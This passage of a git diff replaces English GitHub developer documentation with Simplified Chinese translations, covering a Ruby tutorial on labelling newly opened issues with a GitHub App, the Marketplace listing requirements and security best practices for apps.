do is listen for new issues that are opened. Now that you've subscribed to the **Issues** event, you'll start receiving the [`issues`](/webhooks/event-payloads/#issues) webhook, which is triggered when certain issue-related actions occur. You can filter this event type for the specific action you want in your code. +应用程序需要做的第一件事是侦听打开的新议题。 现在你已订阅“问题”事件,你将开始接收 [`issues`](/webhooks/event-payloads/#issues) Webhook,它在发生某些与问题相关的操作时被触发。 您可以根据要在代码中执行的特定操作来过滤此事件类型。 -GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads in the `post '/event_handler'` route. +GitHub 将 Webhook 有效负载作为 `POST` 请求发送。 因为你已将 Smee Webhook 有效负载转发到 `http://localhost/event_handler:3000`,因此服务器将在 `post '/event_handler'` 路由中接收 `POST` 请求有效负载。 -An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this: +空 `post '/event_handler'` 路由已包含在你在[先决条件](#prerequisites)部分中下载的 `template_server.rb` 文件中。 空路由如下所示: ``` ruby post '/event_handler' do @@ -107,7 +113,7 @@ An empty `post '/event_handler'` route is already included in the `template_serv end ``` -Use this route to handle the `issues` event by adding the following code: +通过添加以下代码,使用此路由来处理 `issues` 事件: ``` ruby case request.env['HTTP_X_GITHUB_EVENT'] @@ -118,9 +124,9 @@ when 'issues' end ``` -Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in `issues` event types. Each event has an additional `action` field that indicates the type of action that triggered the events. For `issues`, the `action` field can be `assigned`, `unassigned`, `labeled`, `unlabeled`, `opened`, `edited`, `milestoned`, `demilestoned`, `closed`, or `reopened`. +GitHub 发送的每个事件都包含一个名为 `HTTP_X_GITHUB_EVENT` 的请求标头,它指示 `POST` 请求中的事件类型。 现在,你只需关注 `issues` 事件类型。 每个事件都有一个附加的 `action` 字段,它指示触发事件的操作类型。 对于 `issues`,`action` 字段可以是 `assigned`、`unassigned`、`labeled`、`unlabeled`、`opened`、`edited`、`milestoned`、`demilestoned``closed` 或 `reopened`。 -To test your event handler, try adding a temporary helper method. You'll update later when you [Add label handling](#step-4-add-label-handling). For now, add the following code inside the `helpers do` section of the code. You can put the new method above or below any of the other helper methods. Order doesn't matter. +要测试事件处理程序,请尝试添加临时辅助方法。 稍后将在[添加标签处理](#step-4-add-label-handling)时进行更新。 现在,在代码的 `helpers do` 部分中添加以下代码。 您可以将新方法放在其他任何辅助方法的上方或下方。 顺序无关紧要。 ``` ruby def handle_issue_opened_event(payload) @@ -128,37 +134,37 @@ def handle_issue_opened_event(payload) end ``` -This method receives a JSON-formatted event payload as an argument. This means you can parse the payload in the method and drill down to any specific data you need. You may find it helpful to inspect the full payload at some point: try changing `logger.debug 'An issue was opened!` to `logger.debug payload`. The payload structure you see should match what's [shown in the `issues` webhook event docs](/webhooks/event-payloads/#issues). +此方法接收 JSON 格式的事件有效负载作为参数。 这意味着您可以解析方法中的有效负载并深入挖掘所需的任何特定数据。 你可能会发现在某个时候检查整个有效负载很有帮助:尝试将 `logger.debug 'An issue was opened!` 更改为 `logger.debug payload`。 你看到的有效负载结构应该与 [`issues` Webhook 事件文档中显示的](/webhooks/event-payloads/#issues)结构相匹配。 -Great! It's time to test the changes. +很好! 是时候测试更改了。 {% data reusables.apps.sinatra_restart_instructions %} -In your browser, visit the repository where you installed your app. Open a new issue in this repository. The issue can say anything you like. It's just for testing. +在浏览器中,访问安装应用程序的仓库。 在此仓库中打开一个新议题。 此议题可以谈论您喜欢的任何事情。 它仅用于测试。 -When you look back at your Terminal, you should see a message in the output that says, `An issue was opened!` Congrats! You've added an event handler to your app. 💪 +回头查看终端时,你应该会在输出中看到一条消息:`An issue was opened!` 恭喜! 您已将事件处理程序添加到应用程序中。 💪 -## Step 3. Create a new label +## 步骤 3. 创建新标签 -Okay, your app can tell when issues are opened. Now you want it to add the label `needs-response` to any newly opened issue in a repository the app is installed in. +好,您的应用程序在有议题被打开时会告诉您。 现在,你希望它将标签 `needs-response` 添加到安装该应用的存储库中任何新打开的问题。 -Before the label can be _added_ anywhere, you'll need to _create_ the custom label in your repository. You'll only need to do this one time. For the purposes of this guide, create the label manually on GitHub. In your repository, click **Issues**, then **Labels**, then click **New label**. Name the new label `needs-response`. +将标签添加到任何位置之前,你需要在存储库中创建自定义标签 。 只需要这样做一次。 就本指南而言,请在 GitHub 上手动创建标签。 在存储库中,依次单击“问题”、“标签”和“新建标签” 。 将新标签命名为 `needs-response`。 {% tip %} -**Tip**: Wouldn't it be great if your app could create the label programmatically? [It can](/rest/reference/issues#create-a-label)! Try adding the code to do that on your own after you finish the steps in this guide. +**提示:** 如果你的应用能够以编程方式创建标签,那岂不是很棒吗? [它可以](/rest/reference/issues#create-a-label)! 完成本指南中的步骤后,请尝试添加代码,自行实现。 {% endtip %} -Now that the label exists, you can program your app to use the REST API to [add the label to any newly opened issue](/rest/reference/issues#add-labels-to-an-issue). +现在已存在标签,你可以对应用进行编程,以使用 REST API [将标签添加到任何新打开的问题中](/rest/reference/issues#add-labels-to-an-issue)。 -## Step 4. Add label handling +## 步骤 4. 添加标签处理 -Congrats—you've made it to the final step: adding label handling to your app. For this task, you'll want to use the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/). +恭喜!您来到了最后一步:向应用程序添加标签处理。 要完成此任务,你需要使用 [Octokit.rb Ruby 库](http://octokit.github.io/octokit.rb/)。 -In the Octokit.rb docs, find the list of [label methods](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). The method you'll want to use is [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method). +在 Octokit.rb 文档中,找到[标签方法](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html)列表。 要使用的方法是 [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method)。 -Back in `template_server.rb`, find the method you defined previously: +返回 `template_server.rb`,找到之前定义的方法: ``` ruby def handle_issue_opened_event(payload) @@ -166,13 +172,13 @@ def handle_issue_opened_event(payload) end ``` -The [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) docs show you'll need to pass three arguments to this method: +[`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) 文档指示需要将三个参数传递到此方法: -* Repo (string in `"owner/name"` format) -* Issue number (integer) -* Labels (array) +* 存储库(`"owner/name"` 格式的字符串) +* 议题编号(整数) +* 标签(数组) -You can parse the payload to get both the repo and the issue number. Since the label name will always be the same (`needs-response`), you can pass it as a hardcoded string in the labels array. Putting these pieces together, your updated method might look like this: +您可以解析有效负载以获取仓库和议题编号。 由于标签名称始终相同 (`needs-response`),因此可以在标签数组中作为硬编码字符串传递它。 将这些片段放在一起,更新后的方法可能如下所示: ``` ruby # When an issue is opened, add a label @@ -183,56 +189,56 @@ def handle_issue_opened_event(payload) end ``` -Try opening a new issue in your test repository and see what happens! If nothing happens right away, try refreshing. +尝试在测试仓库中打开一个新议题,看看会发生什么! 如果没有任何反应,请尝试刷新。 -You won't see much in the Terminal, _but_ you should see that a bot user has added a label to the issue. +在终端中看不到太多信息,但是你应该看到机器人用户已向该问题添加了标签。 {% note %} -**Note:** When GitHub Apps take actions via the API, such as adding labels, GitHub shows these actions as being performed by _bot_ accounts. For more information, see "[Machine vs. bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts)." +**注意:** 当 GitHub 应用通过 API 执行操作(例如添加标签)时,GitHub 会显示这些操作由机器人帐户执行。 有关详细信息,请参阅“[计算机与机器人帐户](/apps/differences-between-apps/#machine-vs-bot-accounts)”。 {% endnote %} -If so, congrats! You've successfully built a working app! 🎉 +如果是,恭喜! 您已成功构建了一个可正常工作的应用程序! 🎉 -You can see the final code in `server.rb` in the [app template repository](https://github.com/github-developer/using-the-github-api-in-your-app). +可以在[应用模板存储库](https://github.com/github-developer/using-the-github-api-in-your-app)中看到 `server.rb` 中的最终代码。 -See "[Next steps](#next-steps)" for ideas about where you can go from here. +有关后续操作的信息,请参阅[后续步骤](#next-steps)。 -## Troubleshooting +## 故障排除 -Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}. +以下是一些常见问题和一些建议的解决方案。 如果您遇到任何其他问题,可以在 {% data variables.product.prodname_support_forum_with_url %} 中寻求帮助或建议。 -* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm sending events on GitHub.com by opening new issues, but I don't see any output in the Terminal window where I'm running the server. +* 问:我的服务器没有监听事件! Smee 客户端在终端窗口中运行,我通过打开新议题在 GitHub.com 上发送事件,但是在运行服务器的终端窗口中没有看到任何输出。 - **A:** You may not have the correct Smee domain in your app settings. Visit your [app settings page](https://github.com/settings/apps) and double-check the fields shown in "[Register a new app with GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u ` command in "[Start a new Smee channel](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)." + 答:你的应用设置中可能没有正确的 Smee 域。 访问[应用设置页面](https://github.com/settings/apps)并仔细检查“[使用 GitHub 注册新应用](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)”中显示的字段。 确保这些字段中的域与在[启动新的 Smee 通道](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)中的 `smee -u ` 命令中使用的域相匹配。 -* **Q:** My app doesn't work! I opened a new issue, but even after refreshing, no label has been added to it. +* 问:我的应用无法运行! 我打开了一个新议题,但是即使刷新后也没有给它添加标签。 - **A:** Make sure all of the following are true: + 答:请确保满足以下所有条件: - * You [installed the app](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) on the repository where you're opening the issue. - * Your [Smee client is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) in a Terminal window. - * Your [web server is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) with no errors in another Terminal window. - * Your app has [read & write permissions on issues and is subscribed to issue events](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel). - * You [checked your email](#step-1-update-app-permissions) after updating the permissions and accepted the new permissions. + * 在打开问题的存储库中[安装了应用](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account)。 + * [Smee 客户端在终端窗口中运行](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)。 + * [Web 服务器正在运行](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server),并且另一个终端窗口中没有错误。 + * 应用对[问题具有读写权限,并订阅了问题事件](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)。 + * 你在更新权限后[查看了电子邮件](#step-1-update-app-permissions)并接受了新权限。 -## Conclusion +## 结束语 -After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you: +完成本指南后,您已了解开发 GitHub 应用程序的基本构建块! 回顾一下: -* Programmed your app to listen for events -* Used the Octokit.rb library to do REST API operations +* 编程应用程序以侦听事件 +* 使用 Octokit. rb 库执行 REST API 操作 -## Next steps +## 后续步骤 -Here are some ideas for what you can do next: +以下是有关接下来可以做什么的一些想法: -* [Rewrite your app using GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)! -* Rewrite your app in Node.js using [Probot](https://github.com/probot/probot)! -* Have the app check whether the `needs-response` label already exists on the issue, and if not, add it. -* When the bot successfully adds the label, show a message in the Terminal. (Hint: compare the `needs-response` label ID with the ID of the label in the payload as a condition for your message, so that the message only displays when the relevant label is added and not some other label.) -* Add a landing page to your app and hook up a [Sinatra route](https://github.com/sinatra/sinatra#routes) for it. -* Move your code to a hosted server (like Heroku). Don't forget to update your app settings with the new domain. -* Share your project or get advice in the {% data reusables.support.prodname_support_forum_with_url %}{% ifversion fpt or ghec %} -* Have you built a shiny new app you think others might find useful? [Add it to GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %} +* [使用 GraphQL 重写应用](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)! +* 使用 [Probot](https://github.com/probot/probot) 在 Node.js 中重写应用! +* 让应用检查问题中是否已存在 `needs-response` 标签,如果不存在,请添加它。 +* 当机器人成功添加标签时,在终端中显示消息。 (提示:将 `needs-response` 标签 ID 与有效负载中的标签 ID 进行比较,以作为显示消息的条件,以便只有在添加相关标签时才显示消息,添加其他标签时则不显示。) +* 向应用添加登陆页面并为它挂接 [Sinatra 路由](https://github.com/sinatra/sinatra#routes)。 +* 将代码移动到托管服务器(如 Heroku)。 不要忘记使用新域更新应用程序设置。 +* 在 {% data variables.product.prodname_support_forum_with_url %}{% ifversion fpt or ghec %} 中分享项目或寻求建议 +* 您是否构建了一款让人眼前一亮的新应用程序?您认为它可能对其他人有帮助? [将其添加到 GitHub 市场](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %} diff --git a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md index 6653241592..320f402a94 100644 --- a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md +++ b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- -title: Requirements for listing an app -intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' +title: 上架应用程序的要求 +intro: '{% data variables.product.prodname_marketplace %} 上的应用程序必须满足本页列出的要求才能发布上架。' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace @@ -15,66 +15,72 @@ versions: topics: - Marketplace shortTitle: Listing requirements +ms.openlocfilehash: 58112d935a77119325dab4ad72c87561d0c00e47 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145084989' --- -The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. +在 {% data variables.product.prodname_marketplace %} 中上架应用程序的要求取决于您是要提供免费应用程序还是付费应用程序。 -## Requirements for all {% data variables.product.prodname_marketplace %} listings +## 对所有 {% data variables.product.prodname_marketplace %} 上架产品的要求 -All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)." +{% data variables.product.prodname_marketplace %} 中的所有上架产品应该是能够为 {% data variables.product.product_name %} 社区提供价值的工具。 提交要发布的上架信息时,必须阅读并接受“[{% data variables.product.prodname_marketplace %} 开发人员协议](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)”的条款。 -### User experience requirements for all apps +### 所有应用程序的用户体验要求 -All listings should meet the following requirements, regardless of whether they are for a free or paid app. +所有上架产品应满足以下要求,无论它们是免费应用程序还是付费应用程序。 -- Listings must not actively persuade users away from {% data variables.product.product_name %}. -- Listings must include valid contact information for the publisher. -- Listings must have a relevant description of the application. -- Listings must specify a pricing plan. -- Apps must provide value to customers and integrate with the platform in some way beyond authentication. -- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. -- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." +- 上架信息不得主动诱导用户离开 {% data variables.product.product_name %}。 +- 上架信息必须包含发布者的有效联系信息。 +- 上架信息必须包含应用程序的相关说明。 +- 上架信息必须指定定价计划。 +- 应用程序必须为客户提供价值,并通过身份验证以外的其他方式与平台集成。 +- 应用程序必须在 {% data variables.product.prodname_marketplace %} 中公开可用,并且不能是测试版或只能通过邀请获取。 +- 应用程序必须设置 web 挂钩事件,以便在发生计划更改或取消时通过 {% data variables.product.prodname_marketplace %} API 通知发布者。 有关详细信息,请参阅“[在应用中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。 -For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." +有关提供良好客户体验的详细信息,请参阅“[应用的客户体验最佳做法](/developers/github-marketplace/customer-experience-best-practices-for-apps)”。 -### Brand and listing requirements for all apps +### 所有应用程序的品牌和上架要求 -- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." -- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." -- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." +- 使用 GitHub 徽标的应用程序必须遵循 {% data variables.product.company_short %} 指南。 有关详细信息,请参阅“[{% data variables.product.company_short %} 徽标和用法](https://github.com/logos)”。 +- 应用必须具有符合“[编写 {% data variables.product.prodname_marketplace %} 上架产品描述](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)”中提供的建议的徽标、功能卡和屏幕截图图像。 +- 上架信息必须包含认真编写并且没有语法错误的说明。 有关编写上架产品的指导,请参阅“[编写 {% data variables.product.prodname_marketplace %} 上架产品描述](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)”。 -To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." +为了保护您的客户,我们建议您还要遵循安全最佳实践。 有关详细信息,请参阅“[应用的安全性最佳做法](/developers/github-marketplace/security-best-practices-for-apps)”。 -## Considerations for free apps +## 免费应用程序注意事项 {% data reusables.marketplace.free-apps-encouraged %} -## Requirements for paid apps +## 付费应用程序的要求 -To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)." +要在 {% data variables.product.prodname_marketplace %} 上发布应用程序的付费计划,您的应用程序必须由身份为经验证发布者的组织所拥有。 有关验证过程或转移应用所有权的详细信息,请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”。 -If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." +如果您的应用程序已发布,并且您是经验证的发布者,则您可以使用定价计划编辑器发布新的付费计划。 有关详细信息,请参阅“[设置上架产品的定价计划](/developers/github-marketplace/setting-pricing-plans-for-your-listing)”。 -To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements: +要发布付费应用程序(或提供付费计划的应用程序),您还必须满足以下要求: -- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations. -- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users. -- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. +- {% data variables.product.prodname_github_apps %} 应至少有 100 个安装设施。 +- {% data variables.product.prodname_oauth_apps %} 应至少有 200 个用户。 +- 所有付费应用程序必须处理关于新购买、升级、降级、取消和免费试用的 {% data variables.product.prodname_marketplace %} 购买事件。 有关详细信息,请参阅下面的“[付费应用的计费要求](#billing-requirements-for-paid-apps)”。 -When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing. +当您准备在 {% data variables.product.prodname_marketplace %} 上发布应用程序时,您必须请求验证应用程序上架信息。 {% note %} -**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." +注意:{% data reusables.marketplace.app-transfer-to-org-for-verification %} 有关如何将应用转移到组织的信息,请参阅:“[提交要发布的上架信息](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)”。 {% endnote %} -## Billing requirements for paid apps +## 付费应用程序的计费要求 -Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." +您的应用程序无需处理付款,但需要使用 {% data variables.product.prodname_marketplace %} 购买事件来管理新购买、升级、降级、取消和免费试用。 有关如何将这些事件集成到应用的信息,请参阅“[在应用中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。 -Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.location.product_location %}. +GitHub 的计费 API 允许客户在不离开 GitHub 的情况下购买应用程序,并使用已附加到其在 {% data variables.product.product_location %} 上帐户的付款方式来支付服务费用。 -- Apps must support both monthly and annual billing for paid subscriptions purchases. -- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." +- 应用程序必须在付费订阅计划中支持月度和年度计费。 +- 上架产品可提供免费和付费计划的任何组合。 免费计划是可选项,但建议提供。 有关详细信息,请参阅“[设置 {% data variables.product.prodname_marketplace %} 上架产品的定价计划](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)”。 diff --git a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md index f5da9567b4..14d2ccaa0f 100644 --- a/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md +++ b/translations/zh-CN/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md @@ -1,6 +1,6 @@ --- -title: Security best practices for apps -intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' +title: 应用程序的安全最佳实践 +intro: '准备在 {% data variables.product.prodname_marketplace %} 上分享安全应用程序的指南。' redirect_from: - /apps/marketplace/getting-started/security-review-process - /marketplace/getting-started/security-review-process @@ -12,52 +12,58 @@ versions: ghec: '*' topics: - Marketplace +ms.openlocfilehash: aaff313f73b74ba28f765050a8f993a9dddea1be +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145084984' --- -If you follow these best practices it will help you to provide a secure user experience. +遵循这些最佳实践将有助于您提供安全的用户体验。 -## Authorization, authentication, and access control +## 授权、身份验证和访问控制 -We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. -- Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. -- Apps should provide customers with a way to delete their account, without having to email or call a support person. -- Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. -- Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. -- Apps should not share service accounts such as email or database services to manage your SaaS service. -- All services used in your app should have unique login and password credentials. -- Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. -- Apps should not use {% data variables.product.pat_generic %}s to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). +我们建议创建 GitHub 应用程序,而不是 OAuth 应用程序。 {% data reusables.marketplace.github_apps_preferred %}。 有关详细信息,请参阅“[GitHub 应用与 OAuth 应用的区别](/apps/differences-between-apps/)”。 +- 应用程序应使用最小权限原则,只请求应用程序执行其预期功能所需的 OAuth 作用域和 GitHub 应用程序权限。 有关详细信息,请参阅维基百科[最小权限原则](https://en.wikipedia.org/wiki/Principle_of_least_privilege)。 +- 应用程序应为客户提供删除其帐户的方法,而无需发送电子邮件或呼叫支持人员。 +- 应用程序不应在应用程序的不同实现之间共享令牌。 例如,桌面应用程序应该使用与基于 Web 的应用程序不同的令牌。 单个令牌允许每个应用程序单独请求 GitHub 资源所需的访问权限。 +- 根据每种用户类型所需的功能,针对不同的用户角色设计应用程序。 例如,标准用户不应有权访问管理功能,帐单管理员可能不需要仓库代码推送权限。 +- 应用程序不应共享服务帐户(如电子邮件或数据库服务)来管理 SaaS 服务。 +- 应用程序中使用的所有服务都应具有唯一的登录名和密码凭据。 +- 对生产托管基础架构的管理员权限只能授予担当管理职责的工程师和员工。 +- 应用不应使用个人访问令牌进行身份验证,并且应作为 [OAuth 应用](/apps/about-apps/#about-oauth-apps)或 [GitHub 应用](/apps/about-apps/#about-github-apps)进行身份验证: + - OAuth 应用应使用 [OAuth 令牌](/apps/building-oauth-apps/authorizing-oauth-apps/)进行身份验证。 + - GitHub 应用应使用 [JSON Web 令牌 (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)、[OAuth 令牌](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)或[安装访问令牌](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)进行身份验证。 -## Data protection +## 数据保护 -- Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. -- Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). -- Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. -- Apps should not require the user to provide their GitHub password. -- Apps should encrypt tokens, client IDs, and client secrets. +- 应用程序应使用带有有效 TLS 证书或 SSH for Git 的 HTTPS 对通过公共互联网传输的数据进行加密。 +- 应用程序应安全地存储客户端 ID 和客户端密钥。 建议将它们存储为[环境变量](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables)。 +- 应用程序应在收到用户请求后 30 天内或在用户与 GitHub 的法律关系终止后 30 天内删除所有 GitHub 用户数据。 +- 应用程序不应要求用户提供其 GitHub 密码。 +- 应用程序应该对令牌、客户端 ID 和客户端密钥进行加密。 -## Logging and monitoring +## 日志记录和监视 -Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. -A security log should include: +应用程序应具有日志记录和监视功能。 应用程序日志应保留至少 30 天,并存档至少一年。 +安全日志应包括: -- Authentication and authorization events -- Service configuration changes -- Object reads and writes -- All user and group permission changes -- Elevation of role to admin -- Consistent timestamping for each event -- Source users, IP addresses, and/or hostnames for all logged actions +- 身份验证和授权事件 +- 服务配置更改 +- 对象读取和写入 +- 所有用户和组权限更改 +- 角色提升到管理员 +- 每个事件的一致时间戳 +- 所有记录操作的源用户、IP 地址和/或主机名 -## Incident response workflow +## 事件响应工作流 -To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. +要为用户提供安全体验,应在上架应用程序之前制定明确的事件响应计划。 我们建议您在自己的公司内成立安全和运营事件响应团队,而不是使用第三方供应商。 您应该能够在确认事件后 24 小时内通知 {% data variables.product.product_name %}。 -For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. +有关事件响应工作流的示例,请参阅 [SANS 研究所网站](https://www.sans.org/information-security-policy/)上的“数据泄露响应策略”。 包含明确的事件响应措施的简短文档比冗长的策略模板更有价值。 -## Vulnerability management and patching workflow +## 漏洞管理和补丁工作流程 -You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. +您应该定期对生产基础架构进行漏洞扫描。 您应该对漏洞扫描的结果进行分类,并定义您同意修复漏洞的时间段。 -If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance 